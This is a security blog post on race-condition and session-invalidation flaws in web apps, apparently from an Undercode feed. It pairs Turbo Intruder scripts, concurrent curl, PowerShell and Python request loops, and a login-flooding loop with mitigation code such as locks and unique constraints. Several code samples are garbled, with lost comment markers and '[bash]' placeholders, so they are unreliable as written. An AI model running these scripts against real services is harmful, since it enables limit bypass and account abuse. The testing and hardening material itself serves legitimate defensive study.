Race Condition Rampage: How Concurrent Requests Are Breaking Web Apps (And How to Stop Them) + Video

By /

Listen to this Post

Featured Image

Introduction:

Race conditions represent one of the most insidious and underrated attack surfaces in modern web applications. These vulnerabilities arise when multiple threads or processes concurrently access shared resources without proper synchronization, leading to unpredictable behavior that attackers can manipulate. As demonstrated by recent security research, race conditions can enable attackers to bypass organization member limits, create duplicate projects, and maintain access through session hijacking—all by exploiting the tiny time window between a security check and the actual operation.

Learning Objectives:

  • Understand the mechanics of race condition vulnerabilities and their common manifestations in web applications
  • Learn to identify and exploit TOCTOU (Time-of-Check to Time-of-Use) flaws using specialized tooling
  • Master mitigation techniques including database locks, atomic operations, and session invalidation strategies

1. Understanding the Race Condition Attack Surface

Race conditions occur when the timing of actions impacts other actions in unpredictable ways. In web applications, this typically manifests when an application performs a security check (like verifying a user’s membership limit) and then performs an operation (like adding a member) without ensuring the state hasn’t changed between these two steps.

The Classic TOCTOU Pattern:

1. Check: Is the user allowed to perform this action? (e.g., organization member limit not exceeded)
2. [TIME WINDOW — vulnerable to concurrent requests]
3. Use: Execute the action (e.g., add the member to the organization)

When an attacker sends multiple concurrent requests simultaneously, all requests may pass the check before any request completes the use phase, effectively bypassing the limit.

Real-World Impact:

  • Member Limit Bypass: Sending concurrent invitation requests can exceed the maximum allowed members per organization
  • Duplicate Resource Creation: Multiple projects or organizations with identical names can be created simultaneously
  • Subscription Abuse: Bypassing “Max Uses: 1 per user” policies in coupon or subscription systems

Why This Matters:

Race conditions are often overlooked during security testing because they require specialized tooling and a deep understanding of concurrent execution. Yet they exist in nearly every application that handles concurrent state mutations.

2. Identifying Race Condition Vulnerabilities

Before exploiting race conditions, you must first identify potential attack surfaces. Here’s a systematic approach:

Step 1: Map State-Mutating Endpoints

Identify all API endpoints that modify shared resources or enforce limits. Common targets include:
– User invitation/registration endpoints
– Resource creation (projects, organizations, workspaces)
– Checkout/payment processing
– Password change and session management endpoints

Step 2: Understand the Business Logic

Analyze how the application enforces limits:

  • Does it check a value (e.g., current member count) before performing an action?
  • Is there a time window between the check and the action?
  • Are database transactions properly isolated?

Step 3: Probe for Race Conditions

Use Burp Suite’s Repeater or Turbo Intruder to send multiple concurrent requests. The Turbo Intruder extension’s single-packet attack technique is particularly effective for bypassing rate limits and exploiting TOCTOU flaws.

Turbo Intruder Single-Packet Attack Template:

 Turbo Intruder script for race condition testing
def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=20,
requestsPerConnection=1,
pipeline=False)

Send 20 concurrent requests
for i in range(20):
engine.queue(target.req, target.baseInput, gate='race1')
engine.openGate('race1')

Step 4: Analyze Results

Look for:

  • Multiple resources created with identical names
  • Limits exceeded beyond the configured maximum
  • Inconsistent error responses
  • Database integrity violations (duplicate keys, orphaned records)

3. Exploiting Session Management Flaws

Session management failures often compound race condition vulnerabilities. A critical flaw occurs when password changes do not invalidate existing authenticated sessions.

The Vulnerability:

When a user changes their password, the application updates the password hash in the database but fails to invalidate existing session tokens. This creates a dangerous persistence mechanism for attackers who have obtained session tokens through other vectors like XSS.

Exploitation Chain:

  1. Attacker steals a session token via XSS, man-in-the-middle, or other means
  2. Victim changes their password (perhaps due to a security notification)

3. Attacker’s session remains valid, maintaining unauthorized access

  1. Attacker can continue to exploit race conditions or perform other malicious actions

Real-World CVEs:

  • CVE-2025-57766: Admin UI password changes in Fides do not invalidate active sessions
  • CVE-2026-44648: SillyTavern session reuse after password change allowing account takeover
  • Apache Roller < 6.1.5: Active sessions not invalidated after password changes

Testing for Session Invalidation:

 Capture session cookie before password change
curl -X GET https://target.com/profile -H "Cookie: session=abc123"

Change password via API
curl -X POST https://target.com/api/change-password \
-H "Cookie: session=abc123" \
-d '{"old_password":"old","new_password":"new"}'

Test if old session still works
curl -X GET https://target.com/profile -H "Cookie: session=abc123"
 If profile data is returned, the session was not invalidated

4. Mitigation Strategies: Securing Against Race Conditions

Preventing race conditions requires a multi-layered approach combining database-level controls, application logic, and session management best practices.

Strategy 1: Database Locks and Atomic Operations

Use pessimistic locking to prevent concurrent modifications. Before reading a row that will be updated, acquire a lock that blocks other transactions.

PostgreSQL Advisory Lock Example:

-- Acquire an advisory lock before performing the operation
SELECT pg_advisory_xact_lock(12345);

-- Perform the check and update within the same transaction
BEGIN;
SELECT COUNT() FROM members WHERE org_id = 123;
-- If count < limit, insert new member
INSERT INTO members (org_id, user_id) VALUES (123, 456);
COMMIT;

Python (Django) with PostgreSQL Advisory Locks:

from django.db import connection
from django.db import transaction

@transaction.atomic
def add_member(org_id, user_id):
with connection.cursor() as cursor:
 Acquire advisory lock
cursor.execute("SELECT pg_advisory_xact_lock(%s)", [bash])

Check current count
cursor.execute("SELECT COUNT() FROM members WHERE org_id = %s", [bash])
count = cursor.fetchone()[bash]

if count >= MAX_MEMBERS:
raise Exception("Member limit exceeded")

Insert new member
cursor.execute(
"INSERT INTO members (org_id, user_id) VALUES (%s, %s)",
[org_id, user_id]
)

Strategy 2: Unique Constraints

Enforce uniqueness at the database level to prevent duplicate resource creation.

-- Prevent duplicate project names within an organization
ALTER TABLE projects ADD CONSTRAINT unique_project_name_org 
UNIQUE (org_id, name);

When two concurrent requests attempt to create projects with the same name, the second will fail with a unique constraint violation, preventing duplication.

Strategy 3: Session Invalidation on Credential Change

Implement session invalidation as part of the password change flow.

Node.js (Express) Example:

app.post('/api/change-password', async (req, res) => {
const userId = req.session.userId;

// Update password hash
await db.users.update({
password_hash: hash(newPassword)
}, { where: { id: userId } });

// Invalidate all sessions for this user
await db.sessions.destroy({
where: { user_id: userId }
});

// Destroy current session
req.session.destroy();

res.json({ message: 'Password changed. Please log in again.' });
});

5. Advanced Exploitation Techniques

Turbo Intruder Single-Packet Attack (SPA):

The single-packet attack is the most reliable technique for exploiting race conditions. Unlike traditional concurrent requests that may be subject to network jitter, SPA sends all requests in a single TCP packet, minimizing timing variations.

Setup:

1. Install Turbo Intruder extension in Burp Suite

  1. Send a request to Intruder, then select “Extensions” → “Turbo Intruder”

3. Use the race condition template

Advanced Script for Limit Bypass:

def queueRequests(target, wordlists):
engine = RequestEngine(endpoint=target.endpoint,
concurrentConnections=50,
requestsPerConnection=1,
pipeline=False)

Prepare requests with different payloads
for i in range(30):
request = target.req.replace(b'USER_ID', str(i).encode())
engine.queue(request, gate='race1')

Fire all requests simultaneously
engine.openGate('race1')

Time-of-Check to Time-of-Use (TOCTOU) Exploitation:

TOCTOU flaws occur when a resource’s state is checked, then used later without re-verification. The classic example is a shopping cart where inventory is checked, then a purchase is processed, allowing overselling.

Testing TOCTOU with cURL:

!/bin/bash
 Send 10 concurrent purchase requests
for i in {1..10}; do
curl -X POST https://target.com/api/purchase \
-H "Content-Type: application/json" \
-d '{"product_id": 123, "quantity": 1}' &
done
wait
  1. Windows and Linux Commands for Race Condition Testing

Linux – Concurrent Request Testing:

 Using GNU Parallel to send 20 concurrent requests
seq 1 20 | parallel -j 20 curl -X POST https://target.com/api/invite \
-H "Content-Type: application/json" \
-d '{"email": "[email protected]"}'

Using xargs for concurrent execution
for i in {1..20}; do echo "https://target.com/api/create-project?name=test" ; done | \
xargs -P 20 -1 1 curl -X POST

Windows PowerShell – Concurrent Requests:

 Send 20 concurrent POST requests
1..20 | ForEach-Object -Parallel {
$body = @{email = "user$_.example.com"} | ConvertTo-Json
Invoke-RestMethod -Uri "https://target.com/api/invite" `
-Method Post `
-Body $body `
-ContentType "application/json"
} -ThrottleLimit 20

Python – Concurrent Requests with asyncio:

import asyncio
import aiohttp
import json

async def send_request(session, email):
url = "https://target.com/api/invite"
data = {"email": email}
async with session.post(url, json=data) as response:
return await response.text()

async def race_attack():
async with aiohttp.ClientSession() as session:
tasks = [send_request(session, f"user{i}@example.com") for i in range(20)]
results = await asyncio.gather(tasks)
print(results)

asyncio.run(race_attack())

Linux – Rate Limit Testing:

 Test if rate limiting is enforced
for i in {1..100}; do
curl -s -o /dev/null -w "%{http_code}\n" https://target.com/api/login \
-d "username=admin&password=wrong" &
done | sort | uniq -c

7. Cloud and API Security Hardening

API Gateway Rate Limiting:

Configure rate limiting at the API gateway level to mitigate race condition exploits.

AWS API Gateway Rate Limiting:

 CloudFormation snippet for API Gateway rate limiting
ApiGateway:
Type: AWS::ApiGateway::RestApi
Properties:
Name: SecureAPI
Stage:
Type: AWS::ApiGateway::Stage
Properties:
StageName: prod
MethodSettings:
- ResourcePath: "/"
HttpMethod: ""
ThrottlingBurstLimit: 10
ThrottlingRateLimit: 5

Kubernetes Network Policy for Rate Limiting:

apiVersion: networking.k8s.io/v1
kind: NetworkPolicy
metadata:
name: api-rate-limit
spec:
podSelector:
matchLabels:
app: api-gateway
ingress:
- from:
- podSelector: {}
ports:
- port: 8080

Redis Distributed Lock for Microservices:

import redis
import time

r = redis.Redis(host='localhost', port=6379, db=0)

def with_distributed_lock(key, timeout=10):
def decorator(func):
def wrapper(args, kwargs):
lock = r.lock(f"lock:{key}", timeout=timeout)
if lock.acquire(blocking=True, blocking_timeout=5):
try:
return func(args, kwargs)
finally:
lock.release()
else:
raise Exception("Could not acquire lock")
return wrapper
return decorator

@with_distributed_lock("member_add:org_123", timeout=5)
def add_member(user_id):
 Critical section - only one request can execute at a time
pass

What Undercode Say:

  • Race conditions are not theoretical: They are actively exploited in production systems, often with business-critical impact. The fact that major platforms like SingleStore, Discourse, and WakaTime have disclosed race condition vulnerabilities proves this is a real and present danger.

  • Testing is the missing link: Most security assessments focus on input validation and authentication bypasses, but race conditions require specialized testing with tools like Turbo Intruder. Organizations must incorporate concurrent request testing into their security pipelines.

  • Session management is often overlooked: Password changes not invalidating sessions is a widespread issue affecting multiple platforms. This creates a dangerous persistence mechanism that can compound other vulnerabilities.

  • Defense in depth is essential: No single mitigation is sufficient. Combining database-level locking, application-level atomic operations, and proper session invalidation creates multiple layers of protection.

  • The bug bounty perspective: Race conditions are often high-value findings because they are difficult to detect and can lead to significant business logic bypasses. Bug bounty hunters who master race condition exploitation have a competitive advantage.

Prediction:

  • +1 The growing adoption of microservices and distributed systems will increase the attack surface for race conditions, as coordinating state across multiple services introduces new timing vulnerabilities.

  • +1 AI-powered security testing tools will increasingly incorporate race condition detection, using machine learning to identify vulnerable code patterns and generate concurrent request payloads automatically.

  • -1 Many organizations will continue to neglect race condition testing until a major breach occurs, as these vulnerabilities are often deprioritized in favor of more visible security issues.

  • -1 The rise of serverless architectures and auto-scaling may exacerbate race conditions, as concurrent execution becomes more unpredictable and harder to test reliably.

  • +1 Standards like OWASP and CWE are evolving to provide better guidance on race condition prevention, with updated cheat sheets and secure coding practices becoming more widely adopted.

▶️ Related Video (78% Match):

https://www.youtube.com/watch?v=7vH7Ho4eMVQ

🎯Let’s Practice For Free:

🎓 Live Courses & Certifications:

Join Undercode Academy for Verified Certifications

🚀 Request a Custom Project:

Secure, high-velocity infrastructure and disruptive technological engineering. Contact our engineering team for high-tier development and proprietary systems:
[email protected]
💎 Smart Architecture | 🛡️ Secure by Design | ⭐ Trusted by Thousands

IT/Security Reporter URL:

Reported By: Sarella Arvind – Hackers Feeds
Extra Hub: Undercode MoN
Basic Verification: Pass ✅

🔐JOIN OUR CYBER WORLD [ CVE News • HackMonitor • UndercodeNews ]

💬 Whatsapp | 💬 Telegram

📢 Follow UndercodeTesting & Stay Tuned:

𝕏 formerly Twitter 🐦 | @ Threads | 🔗 Linkedin | 🦋BlueSky

Related Posts: